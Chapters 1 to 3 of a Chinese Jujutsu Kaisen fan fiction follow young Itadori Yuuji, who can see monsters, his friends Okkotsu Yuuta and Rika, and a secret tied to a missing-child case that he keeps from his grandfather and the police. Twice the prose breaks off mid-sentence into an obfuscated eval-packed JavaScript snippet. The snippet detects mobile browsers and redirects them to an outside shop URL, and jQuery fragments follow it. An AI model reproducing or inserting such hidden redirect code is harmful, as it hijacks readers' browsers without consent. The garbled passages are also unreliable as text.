《[咒回乙虎]骨狂言》
1. 第 1 章
虎杖悠仁很喜欢自己的家人。
真正的家人。
——
最近已经开始准备进入梅雨季,淅淅沥沥的雨总是下个不停。虎杖悠仁趴在窗户边,望着庭院里被屋檐滑落的雨滴打得抬不起头来的草叶。除了淋漓不尽的水声,屋子里的电视机中还传来了女性播报员的声音。
“......持续报道,5月28日北海道七饭町山中7岁男童田野冈大和失踪事件最新进展......”
有不听话的雨点溅到了他的脸上,虎杖悠仁不适地眯起眼睛,用拇指蹭掉颧骨上的水。
“悠仁!”
虎杖倭助的大嗓门从身后传来,伴随着碗筷摆放的声音,虎杖悠仁从小凳子上爬了下来,帮着爷爷从厨房拿来了酱油和调味料。最近老人做的饭总是味道淡淡的,必须得自己再放些椒盐或酱油才行。
白米饭上放了两粒梅干,今天的主菜是复热的盐烧鲭鱼和渍黄瓜,虎杖悠仁喝了一口配着豆腐海带的味噌汤,味道蛮正常的,应该是直接放了从超市买回来的味噌汤粉。
“......大和失踪的森林附近有村民目击到熊的出没,当地持续降雨、夜间温度接近......”
“吃吧。”虎杖倭助给自己倒了一小杯酒,还没送到嘴边就看到虎杖悠仁瞪着两只大眼睛谴责地看着他。
放到嘴边的酒杯定在了原地,那眼神就像是有魔力一样,老人的手怎么都动不了了。
“......搜寻工作将扩大到失踪地附近的自卫队驹岳演习场,生还......”
虎杖倭助在四岁孩子的目光中败下阵来,但又不甘心地说:“我就喝这一杯......”
“但是,爷爷你最近吃得都很少,老是腿痛。”
而且。
那些东西一直跟在爷爷的身边。
虎杖悠仁的眼睛转了转,好像是在看嘴硬的老人,又像是轻飘飘地落在了他的身后、头顶、肩膀。
虎杖倭助摸了摸脖子,龇牙咧嘴地教训道:“快点好好吃饭吧!真是不让人省心的孙子,等雨停了就赶快出去玩吧!”
小小的孩子愤愤反驳:“爷爷才是!”
老人甩甩手,不再与他争辩。大人总是自以为是,觉得小孩子什么都不懂,是很好糊弄过去的,所以他们总爱和孩子撒谎。
如果那些东西在笑的话,虎杖悠仁就知道爷爷在骗人。没准又是以“忘记了”为理由没吃药,或者现在腿疼得很又装作什么都没发生的样子给自己准备午饭。
“滚开。”虎杖悠仁站在电视机前,尽管声音柔软又没什么威慑力,但他没有半分退缩的意思:“从我家里滚出去!”
“悠仁?”在厨房收拾碗筷的虎杖倭助不太确定自己是不是听到了孙子的声音。当他拿起抹布走到客厅的时候,榻榻米上已经没有虎杖悠仁的身影了。
连接着庭院的门廊悬挂的风铃被拨响,随后便是房门被关上的声音。
“......”虎杖倭助擦完桌子,将抹布放回水池边,揉了揉自己的膝盖。一到雨天他的双腿就会很容易水肿,关节也隐隐作痛。肺部开始像破风箱一样拉扯着,潮湿闷热的天气让他总觉得喘不过来气。
“算了,他能跟附近的孩子尽快熟悉起来也好。”虎杖倭助挺直脊背,挪动着在矮桌前坐了下来。刚刚过去的这场雨没能带来任何凉爽的气息,空气中依旧夹杂着初夏的燥热,让人忍不住叹气。
“悠仁啊......”
家里习惯存放的应急现金也不太多了,下次路过......
刺耳的电话铃声恰好在此时响起,打断了虎杖倭助的自言自语。
铃声响个不停,仿佛在催促着老人尽快起身。明明只是重复的声音片段,可虎杖倭助却宛如感受到有什么步步逼近的阴影,锋利的爪牙遥遥坠在他们身后,戏弄着他们的生活。
最终他还是喘息着起身,走了过去。
换上明黄色的雨衣,踩着画着绿色青蛙的小雨鞋,虎杖悠仁的手臂上挂着一把红色的儿童伞走在路边。这双雨鞋是他在乡下时隔壁的婆婆送给他的,即便搬家也没有扔掉。他动了动有些局促的脚趾,就是鞋子已经有点小了。
走在街边商铺的屋檐下躲开积水,虎杖悠仁拐到了一家便利店的柜台前。在这里看店的老奶奶已经很熟悉这个粉色头发的孩子了,他和爷爷生活在一起、刚搬到这附近大概两个月左右,是个性格很讨人喜欢的小家伙。
大概是家里的老人身体不太好,所以这孩子很懂事,但偶尔也能看到他大大方方地展示性子里有些顽皮的那一面。要是自家孩子能有他一半省心就好了。
街角的这家便利店用老奶奶家一间靠街道的小屋子改造而成,原本的窗户扩大了一些,变成了矮矮的柜台,方便跪坐在榻榻米上的老人随手拿取货物。成年人来这里的话需要弯下腰才能接触到柜面,但对于孩子们来说高度正好。
虎杖悠仁微微垫起脚,放下了几枚硬币,推向柜台内侧。
老奶奶与他心有灵犀,在孩子的注视下从玻璃柜台里挑了三支美味棒,又悄悄塞了一些金平糖到他的手里。
虎杖悠仁谢过她之后,掀开雨衣将糖果和美味棒塞到口袋里,继续向前。
“要注意安全哦。”老奶奶一如往常地叮嘱他。
走在路上的时候,他没忍住偷偷吃了一颗金平糖。因为天刚刚放晴,路上没有太多的人,路口没有车,但虎杖悠仁还是乖乖等着红绿灯。硬质糖块把他的脸颊撑得鼓鼓的,在口腔里散发着甜甜的滋味,用舌头去舔的话还能尝到柠檬一样的酸。
家电商铺的老板刚把遮雨棚收起来,循环播放着赛事频道的电视左上角有显示时间,虎杖悠仁看到后立刻跑了起来。
看到藏在高大树木之间的小公园时,虎杖悠仁的脚步加快了。
穿着深蓝裙子的女孩身影一闪而过,只露出了一个发顶,又消失在公园外侧灌木丛的树影后。
“......嘎哩嘎哩君要化掉了......”有人低落地说。
“忧太吃掉就好啦,”女孩说,“那孩子来了,我再给他买一根就好。”
虎杖悠仁的青蛙雨鞋踏进一片积水,小小的身体从灌木丛的遮挡后钻了出来。
“啊,正好呢!悠仁,快来这边!”黑发的男孩女孩一起向他招手,虎杖悠仁跑了过去。
“是美味棒!”乙骨忧太将最后一根嘎哩嘎哩君交给他,从粉发孩子手中接过美味棒和金平糖,分给了女孩。
祈本里香用手指摸着仍挂在器材下方将落未落的雨滴,将它们一一扫落。把湿漉漉的指尖放在鼻子下嗅闻,还能察觉到微弱的铁锈味。和单纯下过雨后的空气的味道不太一样。
“悠仁怎么还穿着雨衣?待会儿就会热起来了哦,”祈本里香甩开手指上的水珠,把明黄色的雨衣帽子掀开,虎杖悠仁圆圆的脸露了出来,“今天不会再下雨了。”
小公园里只有他们三个,所有的设施都被淋湿了,如果不想将衣服弄得潮潮的,就只能等太阳将那场雨留下的痕迹全部蒸发干净。
“啊~难道说悠仁想要穿着雨衣玩滑梯吗?所以才带着雨具过来了?”
虎杖悠仁摇摇头,嘴巴被嘎哩嘎哩君塞得满满当当,没说话。
他只是有点害怕。
那连绵不断、仿佛要下一辈子的暴风雨。
祈本里香拆开美味棒的包装纸,坐在乙骨忧太身边,也没有说话,眉眼弯弯地盯着虎杖悠仁看。
虎杖悠仁的注意力在她下巴的那颗痣上。
“咳、咳咳......”乙骨忧太控制不住的咳嗽声将两个人的目光吸引了过去。他虽然比虎杖悠仁高一些,但却没粉发孩子长得壮实,略微有些宽大的短袖罩在他的身上,偶尔会被风吹得紧贴着皮肤,将单薄的身体勾勒出来。
“忧太,你的感冒还没好吗?”虎杖悠仁问道。
乙骨忧太吸吸鼻子,他其实还有点发烧,但在吃完嘎哩嘎哩君之后感觉嗓子好了一些。
“应该快好啦,”他笑着说,“悠仁没关系吗?毕竟我和里香都去医院了......”
祈本里香从坐着的石台子上跳下来,将没吃完的美味棒叼在嘴里,双手捧住了虎杖悠仁的脸。大概是手感很好,她不自觉地捏了捏,感受着小孩身体里火热的温度,含含糊糊地说:“悠仁很健康呢。”
虎杖悠仁打了个哆嗦。
“抱歉,我的手很凉吗?”
祈本里香松开手,改为揉搓他的头发。
虎杖悠仁的牙咬到了坚硬的木棍,将附着在上面的最后一点冰沙吞掉,他拿出来看了一眼:“里香的手在夏天很凉快。嗯......不是中奖棍呢。”
“我从来没有吃到过中奖棍......”乙骨忧太低下头。
午后的太阳在乌云散去后逐渐露了出来,他们移动到了不会被阳光照到的树荫下。滑梯下面的秘密空间里很潮,还有积水和蜗牛,祈本里香不想进去待着,所以他们来到了公园的一角。
虎杖悠仁在沙坑里踩了一脚,留下湿哒哒的鞋印。
没有滑梯和器械可以玩,他们只能蹲在一张纸板前玩乙骨忧太带来的橡皮泥。乙骨忧太很擅长用橡皮泥捏出各种形状,这次他还带了一种新的水晶泥,是透明的,里面还撒了很多像是星星一样的亮片。不过这种水晶泥很容易沾上灰尘,虎杖悠仁不小心弄掉了一小块,捡起来之后拿到小水池边用水清理。
清凉的水流打湿了他的双手,水晶泥比他想象的更滑,沾上水之后更甚。
陆陆续续的,有一些大人带着小孩子来到这片小公园,不过大多数都在发现器械上的雨水没有干透后选择离开,但还是有两个留了下来。大人们就坐在水池旁边的长椅上,正对着虎杖悠仁。
他的个子不够高,勉强能把鼻子从台面上露出来。琥珀色的眼睛透过流水的缝隙看向了正在聊天的大人们。
“你听说了吗?北海道的儿童走失案件......”
“这几天下大雨,走失的地方还是那边有名的熊森......虽然很遗憾,但我觉得那孩子不一定能活下来了。”
“总在新闻里听到,真是太可怕了。”
虎杖悠仁收回目光,专注地将黏在水晶泥上的石子砂砾扣掉。有些水晶泥挤进了他的指甲缝,他只能继续清理自己的指甲。
“但是,你知道吗?”手臂上挎着布包的夫人贴到朋友的耳边,用分享秘密的声音说道:“那个孩子不是自己走丢的呢!”
琥珀色的眼睛转了回去。
“诶?我记得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378140|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新闻上说是和父母去郊游采野菜的时候......”
知道更多秘密的夫人拍了拍朋友的手臂,嘴角带着笑,说出了笃定的话:“什么呀!是那个男人说谎了,他因为想要教训调皮的儿子所以把他赶下了车,就那样丢在了路边,自己开车走了!”
朋友震惊地捂住嘴巴:“怎么会有这种人?再怎么说也是自己的亲生骨肉......”
她抬头看了一眼正在公园里玩闹的孩子,随即松了一口气:“那就是谋杀了!居然还和警察撒谎吗?”
“说不定就是为了逃脱责任才这么说的,因为养不起小孩就将他们丢掉的事情又不新鲜,孤儿院可怜的孩子们不都是被父母抛弃的吗?”
虎杖悠仁麻木地搓着水晶泥,双手像是要被冰凉的水冻住了一样,快要没有知觉了。
“悠仁。”
祈本里香站在他身后叫他的名字,虎杖悠仁手上的力道一松,那一小块清理干净的水晶泥掉进了池子里,顺着中间的孔洞滑入下水道。
“怎么了吗?”女孩凑到他身边,弯腰看他。
“......不,”虎杖悠仁关上水龙头,说道,“水晶泥掉下去了。”
他回头,看见乙骨忧太已经将所有的东西收拾起来,正在往他们这边走。
“怎么悠仁?你去洗得太久啦!”乙骨忧太带了一个小塑料袋将嘎哩嘎哩君和美味棒剩下的包装装好:“我们去河边玩吧。”
祈本里香牵起虎杖悠仁的手,没想到粉发的孩子稍微用了些力,在他们惊讶的眼神中跑到了沙坑边,用脚蹭掉了那个已经随着水分蒸发开始定型的脚印,然后又跑了回来,主动牵住了祈本里香。
乙骨忧太笑着说:“没、没关系啦,反正很快就会被别人弄乱......我们去钓小龙虾吧!”
他的嘴巴在笑,但眉头却不自觉地皱着,说的话也有些吞吞吐吐。
虎杖悠仁抬起头看比他高了一头的祈本里香。女孩的手掌永远是冰凉的,比他刚才在冰水里冲了许久的手更凉。
祈本里香温柔地笑着,下巴上的小痣也开心地翘了起来:“忧太说得对,不用担心,悠仁。最近下了很久的雨呢,雨会把一切都冲干净的。”
乙骨忧太咬着嘴唇,祈本里香的另一只手搭到了他的臂弯中,三个人一起向小河边走去。
“但是,悠仁是个好孩子对吧?答应过的事就一定得做到才行,不然会被地狱阎魔拔掉舌头的哦。”
女孩扯着男孩子们大步向前走。
虎杖悠仁心有所感般扭头,对上了乙骨忧太深不见底的黑色眼睛。
必须,要保密才行。
——
虎杖悠仁在太阳彻底落山之前回了家。在乡下的时候他也总是在外面玩到这个时间才匆匆往回跑,小袋子里装了几只体型不大的小龙虾,本来里面放了一些水,但其中一只的钳子把袋子戳破了,水在半路就滴滴答答地洒得一点都不剩。
“爷爷,我回来了!”他脱掉雨鞋,将红色的小伞摆在爷爷的大伞旁边,明黄雨衣挂回玄关的挂钩上。下午果然没再下雨,因为热得过分,虎杖悠仁把雨衣脱下来当成野餐垫,三个孩子玩累了就坐在上面休息。
“悠仁。”虎杖倭助从客厅里走过来,手里拿着一份报纸。
“怎么了爷爷?”
老人摊开手中的报纸,虎杖悠仁似乎能够闻到铅墨的味道。
“我去医院那天有电话打到家里来了吧?你还记得是谁打过来的吗?”
虎杖悠仁的视力很好。他能清楚地看见报纸上醒目的标题,尽管有些汉字还不太认识,但他大概能够认全“仙台”、“女孩”和“山”这些词。
虎杖倭助将写着“仙台6岁女孩登山失踪后被找回,其父亲仍行踪不明”的报纸放回桌上,从孙子手中接过装着小龙虾的袋子:“应该是上周三的事吧,你还有印象吗?下了大雨,你自己在家的那天。”
粉发的孩子低着头,从爷爷腿边跑过,去厨房的水池里洗手。
“我不记得啦,”他搓着手说,“那天我很早就睡了。”
虎杖倭助将蔫哒哒的小龙虾们倒进一个小盆里,摆到了厨房地面的角落里:“也是,你一大早就跑去给我送饭了。去把裤子换了,沾上泥点了!”
虎杖悠仁扒拉着裤子回头看:“我都没注意到!”
“幸亏你没往沙发上坐,快去换了裤子吃晚饭!”
听到小孩关门的声音,虎杖倭助从厨房端着两碗拉面来到了客厅,摆好筷子。他盘腿坐在矮桌前,换了几个电视频道,最后停留在了晚间新闻。
老人撑着下巴,过了几秒之后重新拿起了被他搁在一旁的报纸。
新闻报道中的名字都是假名,不过姓氏应该是真的。
“祈本......”他觉得这名字有些熟悉,但却想不起来具体的印象。
浴室内,虎杖悠仁瘪着嘴,眼睛变得湿润起来。
他说谎了。
眨眨眼睛,他趁着眼周还没变红之前用水洗掉了眼泪。因为说谎而难受的心让他难忍泪意,对待家人应该是毫无保留的,可他辜负了爷爷的信任。
对不起,爷爷!但是,那件事是正确的......不让人知道也是正确的,所以撒谎......也是正确的。
2. 第 2 章
第二天又开始下雨。
天气预报说未来的一周都将有持续性的降雨,接下来就要真正进入梅雨季了。
“悠仁,你认识里香吗?”
虎杖悠仁坐在沙发上,腿够不到地,挂在脚上的拖鞋慢慢随着重力滑落,啪嗒一声掉到了地上。
有两个穿着警服的人坐在榻榻米上,隔开两个房间的拉门被推开,虎杖倭助抱着手臂靠在矮桌旁边。
“我很喜欢里香。”
年轻一些的警官看了一眼前辈,然后才低下头随便在本子上记了两笔。
前辈继续问:“我想和你聊聊里香,听听你知道的事。你记得关于里香的事吗?什么都可以,和我说说吧。”
虎杖悠仁勾着脚,两个警官带过来的伞就放在他的那柄红色小伞旁边,还有雨滴顺着伞骨滑下,在伞尖附近的地面积聚起一小滩水渍。
“我们昨天在公园玩,然后还去了河边,”虎杖悠仁抬起头看了一眼爷爷,“还吃了嘎哩嘎哩君。”
年轻警官的笔尖终于顺畅地在笔记本上滑动了起来。
“除了昨天,你们上次一起去哪里玩了?”
虎杖悠仁摇头。
年轻的警官插话道:“她给你打电话那天,你出门去找她了吗?”
虎杖悠仁点头。
年轻的警官刚想往本子上记录,手就被前辈摁住了,还听到了虎杖倭助不满的哼声。
“悠仁,爷爷不在家的那天,你出门干什么去了?”
“去邻居婆婆家吃饭。”
接下来的问话几乎都由警官中的前辈完成,不多时就完成了所有的工作,在面色不善的虎杖倭助的注视中告辞了。
警官们撑着未干的伞重新走入雨中,听着大门在身后猛地关上,风铃声有些刺耳地响了起来,似乎代表着屋主人的驱逐之意。
“才四岁的孩子,基本上什么都问不出来啊前辈。”年轻人翻了翻不到一页的问讯笔记,对上面的寥寥数语感到头疼。
“毕竟只是小孩子,别说是这种失踪案,就算是搜查一课负责的那种案子里,哪怕真的是孩子提供了最重要的破案线索,到了法庭上也不一定会被采信,嫌犯就那样逃脱了法律制裁的情况又不是没有。”
“但是这孩子......前后的话都很矛盾,还有这个:‘里香的家里有一个怪物’、‘她的家里有很多怪物’......我总能联想到很多问题,但又觉得他只是在胡说八道而已。”
前辈拍着年轻人的肩膀:“所以在提问的时候不能诱导性地问他们,得尽可能让孩子们自己说出记得什么才行。说得就是你的那个问题,就算真是虎杖这孩子接了电话,他出门要怎么去找当时还在森林里的祈本里香?况且他又没说接到的是‘祈本里香’的电话。”
“那他还点头......”
“他是小孩子,你可不是。算了,那个人还有精神问题,估计这件事就要到此为止了,你也好好调整一下,过两天咱们......”
虎杖悠仁趴在窗台上看着两把撑起的黑色雨伞消失在了街道尽头。
爷爷还在客厅里抱怨:“现在的警察,真是的!这不是直接诱导小孩子吗?还说什么专业性......哼!有什么专业的?!现在什么人都能穿那身衣服了,哼!咳咳、咳咳咳......”
虎杖倭助突然咳个不停,虎杖悠仁跳下凳子跑到爷爷身边撑着他坐到榻榻米上,拍着他的后背。可是咳嗽的症状仍不见好,确认爷爷已经靠在矮几上之后,他独自搬着凳子跑到厨房接了水。
当他端着半杯水回到客厅的时候,老人已经趴在矮几上睡着了。
粉发的孩子站在门口,呆愣了几秒才终于反应过来,有手忙脚乱地将水杯放到一旁,学着祈本里香的模样去摸爷爷的脖子,但因为不得要领而没有摸到女孩说的“跳动的东西”,但手底下的皮肤还是温温的。
之后女孩还做了什么来着?对了,是趴在胸口听心跳的声音。虎杖悠仁将耳朵靠在爷爷的胸口处,老人仍然没有醒过来的迹象,但是他冰凉的耳廓感受到了震动。
听到了咚、咚的声音,像是有人在很慢很慢地敲着鼓,简直是快要让人睡着的节奏。
虎杖悠仁站在凳子上拨打了医院的电话。
在等待的时间里,他想让老人躺在地上,却被爷爷沉重的上半身压倒了。睡着了的人好重,但对虎杖悠仁来说只是稍微更费力气一些。他很快重振旗鼓,将爷爷放倒在了地面上。
除了个子矮了一些,还有虎杖倭助最近都没怎么好好吃饭的原因在,所以除了最开始猝不及防地被压倒,这些重量对虎杖悠仁来说并非特别难以接受。
比那个人轻多了。
他挥舞着拳头,驱赶想要靠近虎杖倭助的怪物们。
——
虎杖悠仁觉得很小的时候见过自己的妈妈。
虽然每次他和爷爷说起妈妈的时候,老人总是一副刻薄又厌恶的模样,但后来渐渐的,爷爷会说“小孩子还记得什么啊”来敷衍他,然后别扭地给他买许多零食或者带他出去吃好吃的。
爷爷不相信他还记得妈妈的感觉。
不是长相、不是气味,虎杖悠仁当然也不知道妈妈的名字,但他还记得那种感觉。
被包裹着、被不自觉地吸引,只要见到那个人就一定能够知道她就是自己的妈妈,那是比血缘更紧密的联系。
“行了!我又没什么大事,干什么还要住院?!你们上次就是这么说的,结果住了两天什么事都没有!”
病房里,爷爷的大嗓门穿透了整条走廊,传到了护士站里。
虎杖悠仁被护士们轮流看顾着,他跟着医院的车一起过来,护士们听说他上车的时候带着早就收拾好的东西,大概有一些衣服什么的,装在他的假面骑士小书包里。
不吵不闹,长得又很乖巧,来了之后只是安安静静地坐着,偶尔会用琥珀色的眼睛望着来往的护士进出爷爷的病房。这样的孩子总会让人不自觉地想要偏爱,怕他觉得冷,有护士拿来了外套,还给他买了好吃的汉堡。
“谢谢!”
“吃吧,悠仁,不用担心爷爷,只是他可能还要在医院待一阵子。”
护士们安慰着他。
“爷爷会死吗?”
粉发的孩子似乎并不知道自己问了什么,但护士们自然地说:“爷爷只是生病啦,很快就能和悠仁一起回家了。”
但是虎杖倭助的病情似乎比想象中的更加严重。医生们不肯放他离开医院,虎杖悠仁被委托给了邻居婆婆照顾,因为婆婆家离医院不远,白天他会去医院找爷爷,一来二去就和医院的保安、住院部的护士和爷爷的主治医师们熟悉起来了。
虎杖悠仁看着爷爷渐渐瘦弱起来,最开始住在医院的时候每天还能下楼到小花园里溜达,最近连病床都很少下来了。
“爷爷会死吗?”虎杖悠仁问每天都会来到病房查看爷爷情况的医生。
“没事的,悠仁。”医生的话和护士们的话一模一样。
但虎杖悠仁知道他们都在撒谎,因为趴在他们肩膀上的什么东西在笑。
“如果爷爷死了的话,”粉发的孩子说道,“我不想把他扔到森林里。那里已经有一个怪物了,我不想让爷爷和他睡在一起。”
“诶?什么森林?悠......”
“悠仁?”
听到熟悉声音的虎杖悠仁猛地转身,在看见乙骨忧太的瞬间抛弃了疑惑的医生,径直朝他跑了过去。
“悠仁怎么会在医院?”乙骨忧太接住了他。
“忧太呢?”
乙骨忧太牵着他:“我妹妹生病啦......咳咳,爸爸妈妈带着她来看病。”
虎杖悠仁从他身旁探出头,果然看到不远处有一家黑头发的人刚刚走进诊室。
他微微仰头:“忧太也还在生病。”
乙骨忧太似乎有些愧疚,攥着他的手用了些力气:“说不定是我传染给她的......啊,这么说悠仁也要离我远一点才行!”
说罢他想要松开手,却被粉发的孩子更加用力地握住了。
虎杖悠仁摸摸鼻子,收回盯着那一家三口背影的视线,低下头看着前方说:“里香说我很健康。”
他本来不是这样粘着人不撒手的性格,自从能跑能跳之后,爷爷还说他就像个壮实的小猴子一样顽皮,经常一眨眼就不见了,不是去爬树就是踩积水,总把自己搞得满身泥巴、狼狈地回家。
“......嗯。”乙骨忧太也没有再执意想要松开手。
他们就这样手牵着手,一起坐在走廊里的长椅上。这让他们感到前所未有的安全,因为这里到处都是怪物。
——
乙骨忧太是虎杖悠仁搬来仙台之后认识的第一个人。
他们在小公园里相遇,乙骨忧太蹲坐在滑梯下面的秘密空间中,瑟瑟发抖。
在乡下,虎杖悠仁只是偶尔才能看见一两个怪物。它们有的像是苍蝇一样,叫声让人感到厌烦,有的会趴在邻居的肩膀上,或者干脆住在了他们家里。
除了虎杖悠仁,没有人能够看见它们。因为他说过“像是苍蝇一样的东西趴在爷爷的肩膀上”,所以虎杖倭助觉得他指的只是一些乡下常见的小虫爬到了肩膀上而已,驴唇不对马嘴的对话重复了三四十次之后,虎杖倭助只会用摇头来应对他的话了。
聪慧的孩子学会了闭上嘴巴。
当他发现自己的拳头能够打死那些苍蝇一样的怪物时,他学会了使用自己的力量。
但把乙骨忧太堵在秘密空间里的大个子并不像他在乡下见到过的那些怪物那样,它有着长长的头颅,几乎要占到它身子的一半高。
抱着膝盖半蹲在洞口前,和极度恐惧的乙骨忧太对视着。
要死了、要死了要死了要死了要死了要死了要死了!!!
乙骨忧太死死闭上了眼睛。
为什么是我?为什么能够看见那些东西的只有我自己?明明已经极力避免与它们对视了,为什么还会被纠缠着不放?
“滚开!”
稚嫩的声音从外面传来,乙骨忧太先是听到了拳头打中什么东西的声音,怪物震怒的吼声令他下意识地哆嗦了一下,一直不敢睁开的眼睛前方忽然变得亮了一些,一只手抓住了他的手腕。
“不要害怕啊!”
乙骨忧太睁开眼睛,看见了蜜糖一样闪闪发光的眼瞳。
没等他来得及说话,整个人就被忽然出现在这里的孩子从这个小空间里扯了出去。他跌跌撞撞地跟着比他稍矮一些的孩子奔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378141|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑了起来,不常运动的身体很快就有些坚持不住地喘息了起来。
他盯着眼前这个孩子的发顶,毛茸茸的粉色伴随着奔跑的动作来回摆动,靠近脖子附近的发根还有一些更深的颜色。
“它追过来了吗?”
“哈啊、哈——啊?”
小小的孩子耳朵有点红:“你快回头看看,看一下它追过来没有呀!”
乙骨忧太也不管他看得见还是看不见,疯狂地摇着头,哭丧着脸说:“我、我也不敢看......”
他们跑了很久很久,最后跑到了一片河堤旁。乙骨忧太已经完全认不出这附近了,近乎罢工的肺部让他觉得他们好像已经跑到了青森或者东京,脑袋里什么都没剩下。
不知道是谁先躺倒在河堤旁长满青草的斜坡上,大口喘息着,吸入鼻腔的气息里满是清凉的植物叶子的味道。
骤然放松下来的身体开始阵阵发冷,身下的草叶尖透过薄薄的衣物搔刺着后背的皮肤,乙骨忧太感受到手腕上不容忽视的热源,这才发现刚才的那个孩子还牢牢抓着他。
他也不知道自己从哪里挤出来的力量,猛地翻身坐起,双手扣住了粉发孩子的肩膀:“你、你能看见它们!还把它打倒了、好厉害!我还是第一次遇到......”
虎杖悠仁同样大口喘着气。
直到亲手摸上他的肩膀,乙骨忧太才发现他同样也在不自觉地发着抖。
他也在害怕。
“我也是......第一次见到那——么大个子的怪物,”虎杖悠仁松开手,乙骨忧太的手腕上留下了一圈红痕,“你为什么不跑啊?”
乙骨忧太张了张嘴巴,想要解释什么,话语停留在嘴边吞吞吐吐,最终还是被他自己咽了回去。
他就是想要躲开那个家伙才会跑到滑梯下面的,但是怪物并没有因为“他没在看着它”就离开,反而一直在附近徘徊着,最后找到了躲在洞里的乙骨忧太。怪物的身影将从洞□□进来的光挡住了大半,他被恐惧摄住,动弹不得。
自从能够看见它们之后,乙骨忧太就觉得自己早晚有一天会死在它们手上。
不管是商场、幼稚园、游乐场还是家里,到处......
“......到处都是呢,”虎杖悠仁说着,左右查看四周的情况,“为什么大家都看不到啊,又不相信我说的话,总觉得我在撒谎。”
这个孩子和自己是一样的。
乙骨忧太觉得父母并不太喜欢他。至少比起开朗可爱的妹妹,一个常常扫兴、脑子不太正常的孩子总会让他们不自觉地看着他叹气。不被信赖,所以慢慢不再解释。
但是虎杖悠仁也能看见它们,也就是说他不再是一个人,他们是一样的!他们都是——
能看见怪物的怪物。
乙骨忧太的喉咙仿佛被浓厚的绝望噎住了,胀得让人想吐。
“......我是虎杖悠仁,你怎么不说话呀。”虎杖悠仁觉得后颈上因为激烈运动而生出的汗水被河堤边的风一吹,凉飕飕的感觉瞬间爬满了后背。一直都是他自己在说话,这个黑发黑眼的孩子总是一副想要说什么的样子,却犹犹豫豫的不肯开口。
“乙骨......忧太。”
黑发的孩子带着一些期盼,又带着一些害怕被拒绝的退缩抬起头,小心翼翼地说道:“那,悠仁......我们现在是朋友了吗?我、我一直没什么朋友,因为大家觉得我脑子有问题,他们看不见那些怪物,而且——”
他越说越急切,好似如果不在这里一口气将它们全都吐露出来的话,自己绝对会后悔。这样迫切的心情甚至超越了一直以来藏匿在性格中的退缩,又或许......这才是真正的他?
“当然了!”
大概是天上的云被吹走了吧,接近落日的阳光落在了虎杖悠仁的身上,为那头色彩柔软的头发洒上满层的金。蜜一样的眼瞳里载着远处的太阳,这样的笑颜成了乙骨忧太极难忘却的景象,永远地照亮了他内心的某处。
“那忧太就是我的第一个朋友了!”
不自觉地想要从中汲取满溢的温暖,从悠仁那里偷来一些光的话,绝对会被原谅的吧?
虎杖悠仁大大方方地给了乙骨忧太“第一个朋友”的称号,并悄悄在心中给这个谎言找好了自己的理由。乙骨忧太是他第一个能见到怪物的朋友,同样也是来到仙台后第一个认识的人,这些当然都是“第一个”啦!
“太好了!那悠仁,我们以后可以一起玩啦!”
黑发的孩子终于笑了出来,这样纯粹的笑容让虎杖悠仁愣了一下。他的这个新朋友,眼尾是下垂的模样,笑起来很腼腆的感觉。
喜悦过后,乙骨忧太挠挠脸颊,将沾到面上的草叶扫掉:“......谢谢你今天救了我,悠仁。”
虎杖悠仁鼓着脸颊,努力想要压下嘴角,可红色的耳廓和弯弯的眉眼出卖了他真正的内心:“没、没什么啦!现在我和忧太是好朋友了,以后我会保护忧太的!”
他学着电视里的人物撸起袖子,将还挤不出肌肉的手臂曲起,握拳向乙骨忧太保证道:“我绝对会把它们通通揍飞的!”
虎杖悠仁站起身,乙骨忧太坐在草地上仰头看着他。留意到对方的视线,虎杖悠仁重新迎着太阳笑了起来。
3. 第 3 章
“忧太,悠仁!”
祈本里香蹲在小公园的沙坑旁,向男孩子们招手。乙骨忧太拉着虎杖悠仁跑了过去。
附近有很多徘徊的小孩子,但看见祈本里香在沙坑附近后,就都转头跑去玩滑梯或者秋千之类的器械了。
乙骨忧太很擅长给橡皮泥、沙子之类的东西塑形,沙子虽然柔软又细碎,但如果仔细拍紧实的话,也是能够堆出一些塌塌的城堡来的。
虎杖悠仁拿着不知道是谁丢在沙坑里的玩具铲车,模仿着将沙子一车一车送到了乙骨忧太的手边。哪怕用沙子堆出建筑的行为非常艰难,但在乙骨忧太的努力下,他们的城堡还是初具雏形。
每一次拍实沙子都会有细碎的边角料簌簌落下,虎杖悠仁默默将它们小心地刮走了。
“忧太,悠仁,”祈本里香看上去非常开心,她将一直藏在背后的双手拿到了身前,一左一右,各自送到了乙骨忧太和虎杖悠仁的面前,“祝你们生日快乐!”
女孩摊开的手掌上摆放着两个小盒子。
“哇啊!谢谢你,里香。”虎杖悠仁拍掉手上的沙子,捧走了祈本里香手中的小盒子。他和乙骨忧太同样都是三月初春出生,不过黑发男孩比他早生一年。现在已经远过了他们的生日,但是祈本里香依旧送上了生日礼物。
礼尚往来,虎杖悠仁已经开始思考该送什么样的礼物给自己的朋友们了。回家之后问问爷爷好了。
“太好了!现在可以打开吗?”
“当然啦。”
男孩子们打开了手中的盒子。
虎杖悠仁看到了一个红色的御守。棉麻材质的御守上系着精美的水引结,仔细看的话上面的纹饰中也有粉色,看起来和虎杖悠仁的头发很像。御守表面有“七五三”的字样和蝴蝶结图案,背面还印着八幡神社的神纹标志。
戒指?”
乙骨忧太举起那个小小的银色指环,看着它在阳光下闪闪发光。
